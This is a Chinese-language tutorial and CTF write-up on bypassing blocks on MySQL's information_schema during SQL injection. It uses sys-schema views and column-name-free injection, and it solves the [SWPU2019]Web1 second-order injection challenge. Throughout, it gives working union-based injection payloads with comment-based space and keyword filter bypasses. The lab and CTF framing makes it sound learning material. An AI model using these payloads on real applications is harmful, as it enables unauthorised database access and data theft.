Bypass information_schema

information_schema

​ 数据库中的information_schema是用来作什么的:Information_schema 是我们安装了Mysql之后就会含有的一个数据库,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

在常规的sql注入中,我们也用到过这个数据库来获取信息,比如我们在盲注时候的payload 
1
Union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里我们就是用到的information_schema这个数据库来获取的表名

Bypass

​ 在mysql 5.7中新增了sys.schema,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

sys.schema_auto_increment_columns

​ 如果我们在设计mysql数据库的时候设计一个随着用户增加而自增的字段,例如id,那么在进行sql注入时我们就能找到代替information_schema库的方法,这样说来应该就很容易明白了,schema_auto_increment_columns这个模块的作用就是用来对表自增id的监控。

以下环境为sqli-labs,可自行测试

payload

1
-1' union select 1,(select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()),3 --+

sys.schema_table_statistics_with_buffer

​ 这个刚好能够补充上面视图的不足,也就是再说,如果我们在设定mysql环境时没有设置自增的字段时,就可以利用该试图来获取信息。

payload

1
?id = -1' union select 1,(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),3 --+

类似的表还有 mysql.innodb_table_stats、mysql_innodb_table_index都存放有库名和表名

限制条件

数据库版本要大于5.7

权限问题:要求权限高,root用户才能够访问

无列名注入

​ 当information_schema被WAF后,我们可以在知道了表名后通过无列名注入技巧获取字段值

如下,使用sql语句 select 1,2,3 union select * from 表名

然后就可以通过数字对应的列进行查询

sql语句 SELECT `2` FROM (SELECT 1,2,3 UNION SELECT * FROM users)as X

这里有两点需要注意:

1.要查询的列需要用``来包裹

2.使用子查询的时候,即一个查询嵌套在另一个查询中,内层查询的结果可以作为外层查询的条件,内层查询到的结果需要起一个别名(as)

如果反引号``被过滤

如果被过滤我们可以采用取别名的方法来查询

sql语句

SELECT a FROM (SELECT 1,2 as a,3 union select * from users)as x

[SWPU2019]Web1

思路

​ 题目给了一个登录框,下面有注册的按钮,就点进去注册了一个,登陆进去是一个发表广告的一个页面,emmmmm,说实话,刚开始并没有思路,就随便发表了一次,觉得像二次注入,经过测试,确实是二次注入

解题

​ 在该题的环境下二次注入的产生:我们在提交广告时,数据库将我们写入的恶意字符进行转义,但是写入数据库的时候会将数据还原,当我们查询时过滤不严格导致的二次注入。

​ 在提交一些字符时发现提示含有敏感字符,于是进行了fuzz测试,发现空格和or,join都被过滤了,空格可以使用内联注释绕过

接下来就是猜字段数,我们常用的联合注入并没有被过滤,由于or被过滤导致我们的order by 也没办法使用,只能采取union/**/select/**/一个一个的来猜。字段数那么多越往后猜越没有信心,怀疑自己思路出错,就去看了下别人的writeup,发现思路并没有错,而是有22个字段。我猜到10就开始怀疑了。那就按照这个思路接着走,存在22个字段,payload:

1
a'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

注入成功,回显字段是2,3,按照正常的思路就是开始爆库还有表了,但是貌似我并爆出来,这里说一下,我想着即然有注册用户那肯定就会存在users表,属于猜测,没有依据,就开始尝试无列名注入,

payload:

1
-1'union/**/select/**/1,(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

除了这一种,还可以采用取别名的方法来获取flag

payload:

1
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

我看了别人的writeup别人也是没办法爆破出来表名。

参考连接

https://www.cnblogs.com/wangtanzhi/p/12241499.html